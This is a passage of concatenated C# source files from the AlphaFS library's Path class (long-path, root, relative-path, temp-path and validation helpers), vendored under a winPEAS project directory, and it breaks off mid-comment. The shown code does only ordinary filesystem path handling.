"Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Makes an extended long path from the specified by prefixing . /// The prefixed with a , the minimum required full path is: "C:\". /// This method does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume. /// /// /// The path to the file or directory, this can also be an UNC path. [SecurityCritical] public static string GetLongPath(string path) { return GetLongPathCore(path, GetFullPathOptions.None); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetPathRoot.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { #region .NET /// Gets the root directory information of the specified path. /// /// Returns the root directory of , such as "C:\", /// or null if is null, /// or an empty string if does not contain root directory information. /// /// /// The path from which to obtain root directory information. [SecurityCritical] public static string GetPathRoot(string path) { return GetPathRootCore(path, true); } #endregion // .NET /// [AlphaFS] Gets the root directory information of the specified path. /// /// Returns the root directory of , such as "C:\", /// or null if is null, /// or an empty string if does not contain root directory information. /// /// /// The path from which to obtain root directory information. /// true will check for invalid path characters. [SecurityCritical] public static string GetPathRoot(string path, bool checkInvalidPathChars) { return GetPathRootCore(path, checkInvalidPathChars); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetRandomFileName.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { #region .NET /// Returns a random folder name or file name. /// A random folder name or file name. [SuppressMessage("Microsoft.Design", "CA1024:UsePropertiesWhereAppropriate")] [SecurityCritical] public static string GetRandomFileName() { return System.IO.Path.GetRandomFileName(); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetRegularPath.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Gets the regular path from long prefixed one. i.e.: "\\?\C:\Temp\file.txt" to C:\Temp\file.txt" or: "\\?\UNC\Server\share\file.txt" to "\\Server\share\file.txt". /// Regular form path string. /// This method does not handle paths with volume names, eg. \\?\Volume{GUID}\Folder\file.txt. /// /// /// The path. [SecurityCritical] public static string GetRegularPath(string path) { return GetRegularPathCore(path, GetFullPathOptions.CheckInvalidPathChars, false); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetRelativePath.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Gets the relative path from the path to the end path. /// The absolute or relative folder path. /// The absolute or relative path containing the directory or file. /// The relative path containing the directory or file, from the path to the end path. /// /// /// public static string GetRelativePath(string startPath, string selectedPath) { if (string.IsNullOrEmpty(startPath)) throw new ArgumentNullException("startPath"); if (string.IsNullOrEmpty(selectedPath)) throw new ArgumentNullException("selectedPath"); var fromDirectories = startPath.Split(DirectorySeparatorChar); var toDirectories = selectedPath.Split(DirectorySeparatorChar); var fromLength = fromDirectories.Length; var toLength = toDirectories.Length; var length = Math.Min(fromLength, toLength); var lastCommonRoot = -1; // Find common path root. for (var index = 0; index < length; index++) { if (string.Compare(fromDirectories[index], toDirectories[index], StringComparison.OrdinalIgnoreCase) != 0) break; lastCommonRoot = index; } if (lastCommonRoot == -1) return selectedPath; lastCommonRoot++; // Assemble relative path. var relativePath = new StringBuilder(); // Add the "..\" suffix. for (var index = lastCommonRoot; index < fromLength; index++) { if (fromDirectories[index].Length > 0) relativePath.Append(ParentDirectoryPrefix + DirectorySeparator); } // Add folders. toLength--; for (var index = lastCommonRoot; index < toLength; index++) relativePath.Append(toDirectories[index] + DirectorySeparator); relativePath.Append(toDirectories[toLength]); return relativePath.ToString(); } ///// [AlphaFS] Gets the relative path from the path to the end path. ///// The absolute or relative folder path. ///// The absolute or relative path containing the directory or file. ///// The relative path from the path to the end path. ///// ///// ///// //public static string GetRelativePath(string startPath, string selectedPath) //{ // if (string.IsNullOrEmpty(startPath)) // throw new ArgumentNullException("startPath"); // if (string.IsNullOrEmpty(selectedPath)) // throw new ArgumentNullException("selectedPath"); // if (IsPathRooted(startPath) && IsPathRooted(selectedPath)) // { // if (string.Compare(GetPathRoot(startPath), GetPathRoot(selectedPath), CultureInfo.InvariantCulture, CompareOptions.IgnoreCase) != 0) // return selectedPath; // } // var fromUri = new Uri(AddTrailingDirectorySeparator(startPath, false), UriKind.RelativeOrAbsolute); // var toUri = new Uri(AddTrailingDirectorySeparator(selectedPath, false), UriKind.RelativeOrAbsolute); // if (fromUri.IsAbsoluteUri && toUri.IsAbsoluteUri) // { // if (fromUri.Scheme != toUri.Scheme) // return selectedPath; // } // var relativeUri = toUri.IsAbsoluteUri ? fromUri.MakeRelativeUri(toUri) : toUri; // var relativePath = Uri.UnescapeDataString(relativeUri.ToString()); // if (toUri.IsAbsoluteUri && string.Equals(toUri.Scheme, Uri.UriSchemeFile, StringComparison.OrdinalIgnoreCase)) // relativePath = relativePath.Replace(AltDirectorySeparatorChar, DirectorySeparatorChar); // return relativePath.TrimEnd(DirectorySeparatorChar, AltDirectorySeparatorChar); //} /// [AlphaFS] Gets the absolute path from the relative or absolute and the relative . /// The absolute path from the relative or absolute and the relative . /// The absolute folder path. /// The selected path containing the directory or file. /// /// /// public static string ResolveRelativePath(string startPath, string selectedPath) { return GetFullPath(Combine(IsPathRooted(startPath) ? startPath : DirectorySeparator + startPath, IsPathRooted(selectedPath) ? selectedPath : DirectorySeparator + selectedPath), GetFullPathOptions.FullCheck); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetShort83Path.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Retrieves the short path form of the specified path. /// A path that has the 8.3 path form. /// Will fail on NTFS volumes with disabled 8.3 name generation. /// The path must actually exist to be able to get the short path name. /// /// /// An existing path to a folder or file. [SecurityCritical] public static string GetShort83Path(string path) { return GetLongShort83PathCore(null, path, true); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetShort83PathTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Retrieves the short path form of the specified path. /// A path that has the 8.3 path form. /// Will fail on NTFS volumes with disabled 8.3 name generation. /// The path must actually exist to be able to get the short path name. /// /// /// The transaction. /// An existing path to a folder or file. [SecurityCritical] public static string GetShort83PathTransacted(KernelTransaction transaction, string path) { return GetLongShort83PathCore(transaction, path, true); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetSuffixedDirectoryName.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Returns the directory information for the specified with a trailing character. /// /// The suffixed directory information for the specified with a trailing character, /// or null if is null or if denotes a root (such as "\", "C:", or * "\\server\share"). /// /// This method is similar to calling Path.GetDirectoryName() + Path.AddTrailingDirectorySeparator() /// The path. [SecurityCritical] public static string GetSuffixedDirectoryName(string path) { return GetSuffixedDirectoryNameCore(null, path, PathFormat.RelativePath); } /// [AlphaFS] Returns the directory information for the specified with a trailing character. /// /// The suffixed directory information for the specified with a trailing character, /// or null if is null or if denotes a root (such as "\", "C:", or * "\\server\share"). /// /// This method is similar to calling Path.GetDirectoryName() + Path.AddTrailingDirectorySeparator() /// The path. /// Indicates the format of the path parameter(s). [SecurityCritical] public static string GetSuffixedDirectoryName(string path, PathFormat pathFormat) { return GetSuffixedDirectoryNameCore(null, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetSuffixedDirectoryNameTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Returns the directory information for the specified with a trailing character. /// /// The suffixed directory information for the specified with a trailing character, /// or null if is null or if denotes a root (such as "\", "C:", or * "\\server\share"). /// /// This method is similar to calling Path.GetDirectoryName() + Path.AddTrailingDirectorySeparator() /// The transaction. /// The path. [SecurityCritical] public static string GetSuffixedDirectoryNameTransacted(KernelTransaction transaction, string path) { return GetSuffixedDirectoryNameCore(transaction, path, PathFormat.RelativePath); } /// [AlphaFS] Returns the directory information for the specified with a trailing character. /// /// The suffixed directory information for the specified with a trailing character, /// or null if is null or if denotes a root (such as "\", "C:", or * "\\server\share"). /// /// This method is similar to calling Path.GetDirectoryName() + Path.AddTrailingDirectorySeparator() /// The transaction. /// The path. /// Indicates the format of the path parameter(s). [SecurityCritical] public static string GetSuffixedDirectoryNameTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetSuffixedDirectoryNameCore(transaction, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetSuffixedDirectoryNameWithoutRoot.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Returns the directory information for the specified without the root and with a trailing character. /// /// The directory information for the specified without the root and with a trailing character, /// or null if is null or if is null. /// /// The path. [SecurityCritical] public static string GetSuffixedDirectoryNameWithoutRoot(string path) { return GetSuffixedDirectoryNameWithoutRootCore(null, path, PathFormat.RelativePath); } /// [AlphaFS] Returns the directory information for the specified without the root and with a trailing character. /// /// The directory information for the specified without the root and with a trailing character, /// or null if is null or if is null. /// /// The path. /// Indicates the format of the path parameter(s). [SecurityCritical] public static string GetSuffixedDirectoryNameWithoutRoot(string path, PathFormat pathFormat) { return GetSuffixedDirectoryNameWithoutRootCore(null, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetSuffixedDirectoryNameWithoutRootTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Returns the directory information for the specified without the root and with a trailing character. /// /// The directory information for the specified without the root and with a trailing character, /// or null if is null or if is null. /// /// The transaction. /// The path. [SecurityCritical] public static string GetSuffixedDirectoryNameWithoutRootTransacted(KernelTransaction transaction, string path) { return GetSuffixedDirectoryNameWithoutRootCore(transaction, path, PathFormat.RelativePath); } /// [AlphaFS] Returns the directory information for the specified without the root and with a trailing character. /// /// The directory information for the specified without the root and with a trailing character, /// or null if is null or if is null. /// /// The transaction. /// The path. /// Indicates the format of the path parameter(s). [SecurityCritical] public static string GetSuffixedDirectoryNameWithoutRootTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetSuffixedDirectoryNameWithoutRootCore(transaction, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetTempFileName.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { #region .NET /// Creates a uniquely named, zero-byte temporary file on disk and returns the full path of that file. /// The full path of the temporary file. [SuppressMessage("Microsoft.Design", "CA1024:UsePropertiesWhereAppropriate")] [SecurityCritical] public static string GetTempFileName() { return System.IO.Path.GetTempFileName(); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetTempPath.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { #region .NET /// Returns the path of the current user's temporary folder. /// The path to the temporary folder, ending with a backslash. [SecurityCritical] public static string GetTempPath() { return GetTempPathCore(null); } #endregion // .NET /// [AlphaFS] Returns the path of the current user's temporary folder. /// The folder name to append to the temporary folder. /// The path to the temporary folder, combined with . [SecurityCritical] public static string GetTempPath(string combinePath) { return GetTempPathCore(combinePath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.HasExtension.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { #region .NET /// Determines whether a path includes a file name extension. /// true if the characters that follow the last directory separator (\\ or /) or volume separator (:) in the path include a period (.) followed by one or more characters; otherwise, false. /// /// The path to search for an extension. The path cannot contain any of the characters defined in . [SecurityCritical] public static bool HasExtension(string path) { return System.IO.Path.HasExtension(path); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.Helpers.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.IO; using System.Security; using System.Text; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { internal static void CheckInvalidUncPath(string path) { // Tackle: Path.GetFullPath(@"\\\\.txt"), but exclude "." which is the current directory. if (!IsLongPath(path) && path.StartsWith(UncPrefix, StringComparison.Ordinal)) { var tackle = GetRegularPathCore(path, GetFullPathOptions.None, false).TrimStart(DirectorySeparatorChar, AltDirectorySeparatorChar); if (tackle.Length >= 2 && tackle[0] == CurrentDirectoryPrefixChar) throw new ArgumentException(Resources.UNC_Path_Should_Match_Format, "path"); } } /// Checks that the given path format is supported. /// /// /// /// A path to the file or directory. /// Checks that the path contains only valid path-characters. /// . internal static void CheckSupportedPathFormat(string path, bool checkInvalidPathChars, bool checkAdditional) { // "." if (Utils.IsNullOrWhiteSpace(path) || path.Length == 1) return; var regularPath = GetRegularPathCore(path, GetFullPathOptions.None, false); var isArgumentException = regularPath[0] == VolumeSeparatorChar; var throwException = isArgumentException || regularPath.Length >= 2 && regularPath.IndexOf(VolumeSeparatorChar, 2) != -1; if (throwException) { if (isArgumentException) throw new ArgumentException(string.Format(CultureInfo.InvariantCulture, Resources.Unsupported_Path_Format, regularPath), "path"); throw new NotSupportedException(string.Format(CultureInfo.InvariantCulture, Resources.Unsupported_Path_Format, regularPath)); } if (checkInvalidPathChars) CheckInvalidPathChars(path, checkAdditional, false); } /// Checks that the path contains only valid path-characters. /// /// /// A path to 